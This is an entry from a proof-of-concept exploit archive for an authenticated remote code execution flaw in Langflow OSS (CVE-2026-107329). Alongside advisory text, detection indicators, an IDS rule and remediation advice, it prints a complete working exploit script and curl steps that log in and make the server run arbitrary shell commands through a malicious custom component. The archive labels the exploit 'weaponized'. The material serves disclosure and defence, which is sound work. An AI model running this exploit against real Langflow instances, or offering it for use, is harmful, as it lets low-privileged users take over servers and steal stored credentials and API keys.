PoC Archive PoC Archive
CVE-2026-107329 category: web CVSS 9.9 (CRITICAL)
Patched

Langflow OSS — Authenticated RCE via Callback Argument Injection in Custom Component Update (CVE-2026-107329)

Published: 2026-11-25 • Researcher: Richard Howe (rmhowe425) — PoC; IBM PSIRT — advisory

Target software IBM Langflow OSS (Langflow AI application builder; custom component update endpoint /api/v1/custom_component/update)
Affected versions 1.0.0 through 1.12.4 (NVD: >=1.0.0, <1.12.5); fixed in 1.12.5
Status Weaponized
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-107329
Category
web
Affected product
IBM Langflow OSS (Langflow AI application builder; custom component update endpoint /api/v1/custom_component/update)
Affected versions
1.0.0 through 1.12.4 (NVD: >=1.0.0, <1.12.5); fixed in 1.12.5
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-26
Author / ResearcherRichard Howe (rmhowe425) — PoC; IBM PSIRT — advisory
CVE / AdvisoryCVE-2026-107329
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, IBM — NVD secondary). NVD primary score is 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsRCE, code-injection, CWE-94, Langflow, AI-platform, Python, authenticated, post-auth, custom-component, argument-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemIBM Langflow OSS (Langflow AI application builder; custom component update endpoint /api/v1/custom_component/update)
Versions Affected1.0.0 through 1.12.4 (NVD: >=1.0.0, <1.12.5); fixed in 1.12.5
Language / PlatformPython (PoC); Langflow server is Python/FastAPI, typically deployed with pip, Docker or Langflow Desktop on Linux / macOS / Windows
Authentication RequiredYes — any authenticated user (low privileges, no admin role needed)
Network Access RequiredYes (HTTP to the Langflow port, default 7860)

Summary

IBM Langflow OSS 1.0.0 through 1.12.4 allows a remote authenticated attacker to execute arbitrary code because the custom component update endpoint compiles an attacker-supplied Python component and then invokes the component’s build-config update callback with an argument taken directly from the request, classified by NVD as CWE-94. The archived PoC authenticates with a normal account, submits a component whose build-config callback runs its field value through a shell, and passes the operating system command as that field value. Langflow compiles the class and dispatches the callback, so the command runs in the Langflow server process while the request still returns HTTP 200. IBM scores the issue 9.9 with a scope change; NVD’s primary score is 8.8.

Vulnerability Details

Root Cause

The custom component update handler accepts user-supplied Python source and turns it into a live component instance: prepare_global_scope() and build_class_constructor() in validate.py exec() the submitted module and class definition, and the server then calls update_build_config(build_config, field_value, field_name) on the resulting object. field_value is copied verbatim from the JSON request body with no sanitisation, and nothing constrains what the compiled class does when that callback fires — a subclass may override update_build_config() to treat the argument as an operating system command. Both the code that is compiled and the argument it receives are attacker-controlled, which is the “improper control of code generation” defect IBM describes (CWE-94).

Attack Vector

  1. Authenticate at POST /api/v1/login with a valid Langflow username and password; the JSON response contains an access_token, sent as Authorization: Bearer <token>.
  2. Send POST /api/v1/custom_component/update with a JSON body containing code, field, field_value, template and tool_mode.
  3. The code value defines a Component subclass that overrides update_build_config() to run subprocess.run(field_value, shell=True, check=False). The field_value value is the attacker’s shell command (for example id or a reverse-shell one-liner).
  4. The server compiles the class and dispatches the callback with field_value, so the command executes under the Langflow process account. Because the callback is configured with check=False, a failing command does not raise, and the endpoint returns HTTP 200 either way.

Impact

Remote code execution as the account running the Langflow server. In a typical Docker or pip deployment that process holds flow definitions, provider API keys, database credentials and knowledge-base data, and usually has outbound access to LLM providers. A low-privileged Langflow user can therefore run commands, read or alter stored flows and secrets, pivot to connected services, and persist through the flow store. The CVSS scope change (S:C) reflects that the compromise escapes the application’s intended user boundary.

Environment / Lab Setup

Output
OS:          Linux (Ubuntu 22.04 used by the author), or any Docker host
Target:      Langflow OSS 1.10.0 tested by the author; affected range 1.0.0 - 1.12.4
Attacker:    Any host with network access to the Langflow HTTP port (default 7860)
Tools:       Python 3.10+, requests, curl, Docker

Setup Steps

The upstream repository contains only the PoC and a short usage README, with no lab bootstrap; the steps below are the generic deployment for a vulnerable version.

Shell script
1
docker run -d --name langflow -p 7860:7860 langflowai/langflow:1.10.0

Proof of Concept

Step-by-Step Reproduction

  1. Obtain credentials — a normal Langflow account is enough; no admin role is required.
    Shell script
    1
    2
    
    curl -s -X POST http://127.0.0.1:7860/api/v1/login \
      -d 'username=user@example.com&password=passw0rd'
  2. Confirm the login token — keep the access_token from the JSON response.
    Shell script
    1
    2
    
    TOKEN=$(curl -s -X POST http://127.0.0.1:7860/api/v1/login \
      -d 'username=user@example.com&password=passw0rd' | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
  3. Run the archived PoC — supply the command to execute server-side (blind).
    Shell script
    1
    2
    
    python3 poc.py --url http://127.0.0.1:7860 --username user@example.com \
      --password 'passw0rd' -c 'id > /tmp/rce_proof'
  4. Verify execution — the HTTP response is only an accepted/200 signal, so check the target side effect.
    Shell script
    1
    
    docker exec langflow cat /tmp/rce_proof      # or any command/file you asked for

Exploit Code

See poc.py and the upstream notes in upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

TARGET = "http://127.0.0.1:7860"
TOKEN = requests.post(
    f"{TARGET}/api/v1/login",
    data={"username": "user@example.com", "password": "passw0rd"},
    timeout=15,
).json()["access_token"]

CODE = """\
import subprocess

from langflow.custom import Component
from langflow.io import Output

class PwnComponent(Component):
    display_name = "Probe"
    name = "PwnComponent"
    outputs = [Output(display_name="Out", name="out", method="run")]

    def update_build_config(self, build_config, field_value, field_name=None):
        subprocess.run(field_value, shell=True, check=False)
        return build_config

    def run(self):
        return "triggered"
"""

r = requests.post(
    f"{TARGET}/api/v1/custom_component/update",
    headers={"Authorization": f"Bearer {TOKEN}"},
    json={"code": CODE, "field": "any_string", "field_value": "id",
          "template": {}, "tool_mode": False},
    timeout=15,
)
print(r.status_code, r.text)

Expected Output

Output
1
2
3
[+] Authenticating as user@example.com
[+] Triggering vulnerability: POST /api/v1/custom_component/update
[+] Response HTTP 200

Execution is blind: the PoC prints only the HTTP status, and the command’s stdout is not returned in the response. Success is confirmed by the command’s side effect on the target (the upstream screenshots show the command output inside the Langflow Docker container’s filesystem; they are GitHub attachment images and were not archived).

Detection & Indicators of Compromise

  • POST /api/v1/custom_component/update requests from non-admin, newly created or unusual accounts, especially with a code body defining a class and a field_value containing shell metacharacters (;, |, &&, $(), backticks).
  • Submitted component source that overrides update_build_config, or that contains subprocess, os.system, popen, shell=True, __import__, eval, exec, socket, or base64 blobs.
  • Langflow process (python/uvicorn) spawning shell children such as /bin/sh -c ..., id, whoami, curl, wget, bash -i, or reverse-shell binaries.
  • A login event (/api/v1/login) immediately followed by custom component update traffic from the same account or source IP.
  • New files in /tmp, the container working tree or the flow store, or outbound connections from the Langflow container to unexpected hosts.
  • Upstream screenshots show commands executed in the container; the README itself provides no detection content.

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"Langflow custom_component update callback abuse"; \
  content:"POST"; http_method; content:"/api/v1/custom_component/update"; http_uri; \
  content:"update_build_config"; http_client_body; \
  content:"subprocess"; http_client_body; sid:9002612;)

Remediation

ActionDetail
PatchUpgrade Langflow OSS to 1.12.5 or later (IBM advisory), back up flows and configuration first, then restart the Langflow service so the new code is loaded.
WorkaroundIBM recommends, in addition to upgrading, setting LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true to reject direct shell-script execution and LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true to block non-admin MCP stdio access, then restarting the service; retain the default restriction on custom components in public workflows and do not set LANGFLOW_ALLOW_PUBLIC_CUSTOM_COMPONENTS. These controls reduce exposure but do not replace the upgrade.
Config HardeningRun Langflow as a non-root, unprivileged user in an isolated container with no host mounts; restrict who can register or hold accounts; add network egress filtering; monitor and alert on custom component submissions; rotate any provider keys or database credentials reachable from the instance.

References

Notes

Auto-ingested from https://github.com/rmhowe425/POC-CVE-2026-107329 on 2026-11-25. Review verdict: real exploit code, ingested. The repository is a two-file PoC (poc.py plus a short screenshot-based README) that drives the live custom component update endpoint with a full login and a shell command — it is not a scanner, checker or audit tool. No license file is present, so the single source file is archived with attribution for authorized research only. The exploit was not executed during ingestion.

Limitations: a valid Langflow account is required, so this is post-auth only (CVSS PR:L, 9.9 with scope changed). Execution is blind — the response does not carry command output, so proof requires checking the target side effect (file, connection, process). The author tested Langflow 1.10.0; the NVD/IBM range 1.0.0–1.12.4 is used in this entry. The upstream README’s usage line (--url --username --password -c) matches the argparse options in poc.py, which call the login and update endpoints directly.

Code quirks: poc.py calls main() at import time (no if __name__ == "__main__" guard), so importing the module runs the CLI and argparse requires the arguments. The component is registered with display_name = "Probe", a decoy name. Upstream screenshots are hosted as GitHub user attachments and were not archived. A related Langflow bug, CVE-2026-107328 (authenticated code execution through the custom component class-definition endpoint), is a distinct CVE covered separately.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-107329 (see README for attribution/license)
# Exploit Title: Langflow: Authenticated RCE via Callback Argument Injection
# Exploit Author: Richard Howe <rhowe425@gmail.com>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Tested on: Ubuntu 22.04, Langflow version 1.10.0

"""
Vulnerability Details
---------------------
POST /api/v1/custom_component/update compiles attacker-supplied Python into a
live component instance, then calls update_build_config(build_config, field_value,
field_name) on it — where field_value comes directly from the request body with
no sanitisation. An attacker overrides update_build_config() to treat field_value
as an OS command, giving them arbitrary code execution under the Langflow process
account. Both the code and the argument to that code are attacker-controlled.

Root cause: prepare_global_scope() and build_class_constructor() in validate.py
exec() the submitted module and class before the callback dispatch — there is no
validation of what the compiled instance does when its methods are called.

Requires a valid account. No admin privileges needed.
CWE-94 | CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical)

PoC Summary 
-----------
1. Authenticates with Langflow.
2. Submits a crafted POST to /api/v1/custom_component/update containing:
     - A Component subclass that overrides update_build_config() to call
       subprocess.run(field_value, shell=True, check=False)
     - The attacker's OS command as the "field_value" request field
3. Langflow compiles the class and calls update_build_config() with the
   supplied command as the field_value argument, executing it server-side.
4. A clean HTTP 200 response confirms execution. The vulnerability is a blind command injection / RCE
"""
import argparse
from requests import post

TIMEOUT = 15


def authenticate(base_url: str, username: str, password: str) -> dict:
    """
    Authenticates with Langflow instance.

    Parameters
    ----------
    base_url : str
        URL for target Langflow instance.
    username : str
        Langflow login username.
    password : str
        Langflow login password.
    
    Returns
    -------
    HTTP auth header for Langflow.
    """
    endpoint = "/api/v1/login"

    try:
        resp = post(
            base_url + endpoint,
            data={"username": username, "password": password},
            timeout=TIMEOUT,
        )
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {e}")

    if resp.status_code != 200 or not resp_json.get("access_token"):
        print(f"[!] Login failed: HTTP {resp.status_code} - {resp.text}")
        exit(1)

    return {"Authorization": f"Bearer {resp_json['access_token']}"}


def trigger_vuln(base_url: str, auth: dict, command: str):
    """
    Triggers the vulnerability

    Parameters
    ----------
    base_url : str
        URL for target Langflow instance.
    auth : dict
        HTTP auth header for Langflow.
    command : str
        Bash command.
    
    Returns
    -------
    requests.Response object
    """
    endpoint = "/api/v1/custom_component/update"

    CODE = """\
import subprocess

from langflow.custom import Component
from langflow.io import Output

class PwnComponent(Component):
    display_name = "Probe"
    name = "PwnComponent"
    outputs = [Output(display_name="Out", name="out", method="run")]

    def update_build_config(self, build_config, field_value, field_name=None):
        # field_value is attacker-controlled — passed verbatim from the request.
        # subprocess.run with check=False never raises on non-zero exit codes,
        # ensuring the endpoint returns 200 regardless of command outcome.
        subprocess.run(field_value, shell=True, check=False)
        return build_config

    def run(self):
        return "triggered"
"""

    data = {
        "code": CODE,
        "field": "any_string",
        "field_value": command,
        "template": {},
        "tool_mode": False,
    }

    try:
        resp = post(
            url=base_url + endpoint,
            headers=auth,
            json=data,
            timeout=TIMEOUT,
        )
    except Exception as e:
        print(str(e))
        exit(1)

    return resp


def main():
    parser = argparse.ArgumentParser(description="Langflow: Authenticated RCE via Callback Argument Injection")
    parser.add_argument("-url", "--url", required=True, help="Target URL, e.g. http://192.168.1.30:7860")
    parser.add_argument("-uname", "--username", required=True, help="Langflow username")
    parser.add_argument("-pword", "--password", required=True, help="Langflow password")
    parser.add_argument("-c", "--command", required=True, help="OS command to execute on the server")
    args = parser.parse_args()

    # Authenticate with Langflow
    print(f"[+] Authenticating as {args.username}")
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Trigger vulnerability
    print("[+] Triggering vulnerability: POST /api/v1/custom_component/update")
    resp = trigger_vuln(base_url=args.url, auth=auth, command=args.command)

    print(f"[+] Response HTTP {resp.status_code}")


main()